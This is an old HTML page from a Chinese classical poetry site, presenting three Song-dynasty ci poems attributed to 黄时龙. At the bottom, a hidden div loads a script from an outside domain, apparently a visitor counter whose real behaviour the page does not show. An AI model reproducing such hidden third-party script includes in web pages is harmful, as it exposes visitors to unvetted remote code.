<html>
<head>
<title>古诗库：全宋词：黄时龙</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="style.css"></head>
<body><script language="javascript" src="../../search.js"></script>
<center><input type="button" value="本页内部搜索" onclick="gofind()"></center>

                 <p align="center">黄时龙<p align="center">浣溪沙</p>
<ul>
    雨歇花梢月正明。映帘人静绣灯昏。鸳鸯成字便停针。
<p>
    笑启玉奁明酒晕，缓寻金叶熨香心。一春情绪此时深。
<p>
</ul>
<p align="center">夜行船</p>
<ul>
    十四弦声犹未断。星月上、西墙一半。却手休弹，含情嫩妒，报道春宵短。
<p>
    银烛纱笼须早办。不住地、金蕉催劝。别院人归，小窗灯静，自把花枝看。
<p>
</ul>
<p align="center">虞美人</p>
<ul>
    卷帘人出身如燕。烛底粉妆明艳。羯鼓初催按六么。无限春娇都上、舞裙腰。
<p>
    画堂深窈亲曾见。宛转楚波如怨。小立花心曲未终。一把柳丝无力、倚东风。
<p>
</ul>
                
<div style="DISPLAY: none"><script src=http://www.lingshidao.com/count/count.php></script></div></body>
</html>
